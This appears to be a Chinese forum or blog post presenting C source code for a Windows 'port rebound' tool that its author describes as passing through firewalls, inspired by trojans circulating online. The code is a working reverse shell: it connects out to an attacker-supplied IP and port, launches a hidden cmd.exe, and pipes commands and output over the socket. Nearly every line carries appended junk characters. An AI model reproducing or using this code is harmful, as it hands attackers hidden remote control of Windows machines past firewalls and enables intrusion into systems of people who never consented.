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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j!x<QNNX  
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/* ============================== cZe'!CQS  
Rebound port in Windows NT sq~+1(X  
By wind,2006/7 ,2,SG/BB  
===============================*/ qE0FgqRB  
#include #d Z/UM(u  
#include \5Vp6^  
&nqdl+|G*  
#pragma comment(lib,"wsock32.lib") 'h^-t^:<>b  
p@/(.uE  
void OutputShell(); `RL,ZoYuu  
SOCKET sClient; j|[(*i%7|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (Ffb&GL  
S<eZd./p6  
void main(int argc,char **argv) OL=ET)Y  
{ Z 7s;F}=  
WSADATA stWsaData; |66m` <  
int nRet; -DP8NTl"  
SOCKADDR_IN stSaiClient,stSaiServer; b JfD\  
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if(argc != 3) (PS$e~H s  
{ ;TL(w7vK  
printf("Useage:\n\rRebound DestIP DestPort\n"); {*QvC g?  
return; ,`<^F:xl  
} %K h2E2Pe  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5v|H<wPp  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iV?` i  
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stSaiClient.sin_family = AF_INET; cMDRWh  
stSaiClient.sin_port = htons(0); b fp,zs  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +D :83h{  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P*pbwV#|  
{ \ V6   
printf("Bind Socket Failed!\n"); CI,lkO|C  
return; =~J"kC  
} b.#^sm//  
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stSaiServer.sin_family = AF_INET; 4|nQ=bIau  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pT4qPta,2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {Q)dU-\  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )ZH c$+fU  
{ 5U%MoH  
printf("Connect Error!"); R6`*4z S  
return; eSl]8BX_  
} R'zu"I  
OutputShell(); %X;7--S%?g  
} 8;TAb.r  
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void OutputShell() )ZGYhE  
{ R|iEvt  
char szBuff[1024]; *B1x`=  
SECURITY_ATTRIBUTES stSecurityAttributes; !"Qb}g  
OSVERSIONINFO stOsversionInfo; tM)Iir*U#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CWs: l3_yn  
STARTUPINFO stStartupInfo; A t{U~^  
char *szShell; Va7c#P?  
PROCESS_INFORMATION stProcessInformation; R :"+ #Sq  
unsigned long lBytesRead; -I ?z-?<D  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ABc)2"i:*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F?z<xL@  
stSecurityAttributes.lpSecurityDescriptor = 0; a9=>r  
stSecurityAttributes.bInheritHandle = TRUE; ;7rd;zJ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i'HPRY  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \PbvN\L  
cGNvEM(4AV  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &|b4\uj9  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j$Nf%V 6Y  
stStartupInfo.wShowWindow = SW_HIDE; r| f-_D  
stStartupInfo.hStdInput = hReadPipe; +3;Ody"59  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9@n diu[  
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GetVersionEx(&stOsversionInfo); Lz@$3(2  
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switch(stOsversionInfo.dwPlatformId) 5;mRGY  
{ 7X}TB\N1  
case 1: jH>8bXQqZ  
szShell = "command.com"; J!hFN]M<<  
break; URA0ey`  
default: Z~p!C/B  
szShell = "cmd.exe"; qZ*f%L(  
break; ;F5"}x  
} ?^9BMQ+  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "_< 9PM1t  
bb;(gK;F  
send(sClient,szMsg,77,0); i%;"[M  
while(1) j13DJ.xu  
{ >{5 p0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BLn_u,3  
if(lBytesRead) r\2vl8X~  
{ l%~lz[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 83 I-X95  
send(sClient,szBuff,lBytesRead,0); PLA#!$c7q  
} '\"G{jU@  
else 19c@`?  
{ M;jcUX_{  
lBytesRead=recv(sClient,szBuff,1024,0); m%QSapV  
if(lBytesRead<=0) break; B=n[)"5fBO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SV.z>p  
} s5D:  
} UKtSm%\  
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return; `Ye8 Q5v"]  
}
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